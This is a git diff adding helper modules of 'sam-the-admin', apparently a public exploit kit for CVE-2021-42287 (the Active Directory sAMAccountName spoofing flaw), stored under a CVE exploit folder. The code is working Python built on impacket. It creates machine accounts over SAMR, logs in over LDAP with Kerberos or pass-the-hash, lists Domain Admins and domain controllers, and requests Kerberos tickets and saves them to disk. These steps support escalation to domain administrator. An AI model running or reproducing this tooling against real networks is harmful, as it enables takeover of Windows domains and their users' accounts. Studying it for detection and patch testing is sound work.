b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/addcomputer.py b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/addcomputer.py new file mode 100644 index 0000000..0e4563b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/addcomputer.py @@ -0,0 +1,236 @@ +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.dcerpc.v5 import samr, epm, transport +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech + +import ldap3 +import argparse +import logging +import sys +import string +import random +import ssl +import os +from binascii import unhexlify + + +class AddComputerSAMR: + + def __init__(self, username, password, domain, cmdLineOptions,computer_name=None,computer_pass=None): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__hashes = cmdLineOptions.hashes + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__target = cmdLineOptions.dc_host + self.__kdcHost = cmdLineOptions.dc_host + self.__computerName = computer_name + self.__computerPassword = computer_pass + self.__method = 'SAMR' + self.__port = cmdLineOptions.port + self.__domainNetbios = cmdLineOptions.domain_netbios + self.__noAdd = False + self.__delete = False + self.__targetIp = cmdLineOptions.dc_ip + + if self.__targetIp is not None: + self.__kdcHost = self.__targetIp + + + if self.__doKerberos and cmdLineOptions.dc_host is None: + raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.") + + + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # if self.__computerName is None: + # if self.__noAdd: + # raise ValueError("You have to provide a computer name when using -no-add.") + # elif self.__delete: + # raise ValueError("You have to provide a computer name when using -delete.") + # else: + # if self.__computerName[-1] != '$': + # self.__computerName += '$' + + if self.__computerPassword is None: + self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) + + if self.__target is None: + self.__target = self.__domain + + if self.__port is None: + if self.__method == 'SAMR': + self.__port = 445 + elif self.__method == 'LDAPS': + self.__port = 636 + + if self.__domainNetbios is None: + self.__domainNetbios = self.__domain + + + + def run_samr(self): + if self.__targetIp is not None: + stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') + else: + stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') + rpctransport = transport.DCERPCTransportFactory(stringBinding) + rpctransport.set_dport(self.__port) + + if self.__targetIp is not None: + rpctransport.setRemoteHost(self.__targetIp) + rpctransport.setRemoteName(self.__target) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + self.doSAMRAdd(rpctransport) + + def generateComputerName(self): + return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$') + + def doSAMRAdd(self, rpctransport): + dce = rpctransport.get_dce_rpc() + servHandle = None + domainHandle = None + userHandle = None + try: + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + + samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target, + samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN ) + servHandle = samrConnectResponse['ServerHandle'] + + samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle) + domains = samrEnumResponse['Buffer']['Buffer'] + domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains)) + + if len(domainsWithoutBuiltin) > 1: + domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains)) + if len(domain) != 1: + logging.critical("This server provides multiple domains and '%s' isn't one of them.", self.__domainNetbios) + logging.critical("Available domain(s):") + for domain in domains: + logging.error(" * %s" % domain['Name']) + logging.critical("Consider using -domain-netbios argument to specify which one you meant.") + raise Exception() + else: + selectedDomain = domain[0]['Name'] + else: + selectedDomain = domainsWithoutBuiltin[0]['Name'] + + samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain) + domainSID = samrLookupDomainResponse['DomainId'] + + if logging.getLogger().level == logging.DEBUG: + logging.info("Opening domain %s..." % selectedDomain) + samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID) + domainHandle = samrOpenDomainResponse['DomainHandle'] + + + if self.__noAdd or self.__delete: + try: + checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) + except samr.DCERPCSessionError as e: + if e.error_code == 0xc0000073: + raise Exception("Account %s not found in domain %s!" % (self.__computerName, selectedDomain)) + else: + raise + + userRID = checkForUser['RelativeIds']['Element'][0] + if self.__delete: + access = samr.DELETE + message = "delete" + else: + access = samr.USER_FORCE_PASSWORD_CHANGE + message = "set password for" + try: + openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID) + userHandle = openUser['UserHandle'] + except samr.DCERPCSessionError as e: + if e.error_code == 0xc0000022: + raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) + else: + raise + else: + if self.__computerName is not None: + try: + checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) + raise Exception("Account %s already exists!" % self.__computerName) + except samr.DCERPCSessionError as e: + if e.error_code != 0xc0000073: + raise + else: + foundUnused = False + while not foundUnused: + self.__computerName = self.generateComputerName() + try: + checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) + except samr.DCERPCSessionError as e: + if e.error_code == 0xc0000073: + foundUnused = True + else: + raise + + try: + createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,) + except samr.DCERPCSessionError as e: + if e.error_code == 0xc0000022: + raise Exception("User %s doesn't have right to create a machine account!" % self.__username) + elif e.error_code == 0xc00002e7: + raise Exception("User %s machine quota exceeded!" % self.__username) + else: + raise + + userHandle = createUser['UserHandle'] + + if self.__delete: + samr.hSamrDeleteUser(dce, userHandle) + logging.info("Successfully deleted %s." % self.__computerName) + userHandle = None + else: + samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword) + if self.__noAdd: + logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) + else: + checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) + userRID = checkForUser['RelativeIds']['Element'][0] + openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID) + userHandle = openUser['UserHandle'] + req = samr.SAMPR_USER_INFO_BUFFER() + req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation + req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT + samr.hSamrSetInformationUser2(dce, userHandle, req) + logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) + + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + + logging.critical(str(e)) + finally: + if userHandle is not None: + samr.hSamrCloseHandle(dce, userHandle) + if domainHandle is not None: + samr.hSamrCloseHandle(dce, domainHandle) + if servHandle is not None: + samr.hSamrCloseHandle(dce, servHandle) + dce.disconnect() + + def run(self,delete=False): + self.__delete = delete + self.run_samr() + + + diff --git a/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/helper.py b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/helper.py new file mode 100644 index 0000000..7367704 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/helper.py @@ -0,0 +1,333 @@ +import argparse +import logging +import sys +import traceback +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +import os +import json +from impacket import version +from impacket.examples import logger, utils +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars + + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.krb5.kerberosv5 import getKerberosTGT +from impacket.krb5 import constants +from impacket.krb5.types import Principal + + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.account) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + if useCache: + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except Exception as e: + # No cache present + print(e) + pass + else: + # retrieve domain information from CCache file if needed + if domain == '': + domain = ccache.principal.realm['data'].decode('utf-8') + logging.debug('Domain retrieved from CCache: %s' % domain) + + logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) + principal = 'ldap/%s@%s' % (target.upper(), domain.upper()) + + creds = ccache.getCredential(principal) + if creds is None: + # Let's try for the TGT and go from there + principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug('Using TGT from cache') + else: + logging.debug('No valid credentials found in cache') + else: + TGS = creds.toTGS(principal) + logging.debug('Using TGS from cache') + + # retrieve user information from CCache file if needed + if user == '' and creds is not None: + user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') + logging.debug('Username retrieved from CCache: %s' % user) + elif user == '' and len(ccache.principal.components) > 0: + user = ccache.principal.components[0]['data'].decode('utf-8') + logging.debug('Username retrieved from CCache: %s' % user) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def get_user_info(samname, ldap_session, domain_dumper): + ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), + attributes=['objectSid','ms-DS-MachineAccountQuota']) + + try: + et = ldap_session.entries[0] + js = et.entry_to_json() + return json.loads(js) + except IndexError: + logging.error('Machine not found in LDAP: %s' % samname) + return False + + + +def get_dc_host(ldap_session, domain_dumper): + dc_host = None + ldap_session.search(domain_dumper.root, '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))', + attributes=['name','dNSHostName']) + dd = ldap_session.entries[0] + js = dd.entry_to_json() + return json.loads(js)['attributes'] + + + +def get_domain_admins(ldap_session, domain_dumper): + admins = [] + ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars("Domain Admins"), + attributes=['objectSid']) + a = ldap_session.entries[0] + js = a.entry_to_json() + dn = json.loads(js)['dn'] + search_filter = f"(&(objectClass=person)(sAMAccountName=*)(memberOf:1.2.840.113556.1.4.1941:={dn}))" + + ldap_session.search(domain_dumper.root, search_filter, attributes=["sAMAccountName"]) + for u in ldap_session.entries: + admins.append(str(u['sAMAccountName'])) + + return admins + + + +class GETTGT: + def __init__(self, target, password, domain, options): + self.__password = password + self.__user= target + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = None + self.__options = options + self.__kdcHost = options.dc_ip + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def saveTicket(self, ticket, sessionKey): + logging.info('Saving ticket in %s' % (self.__user + '.ccache')) + from impacket.krb5.ccache import CCache + ccache = CCache() + + ccache.fromTGT(ticket, sessionKey, sessionKey) + ccache.saveFile(self.__user + '.ccache') + + def run(self): + userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, + self.__kdcHost) + self.saveTicket(tgt,oldSessionKey) +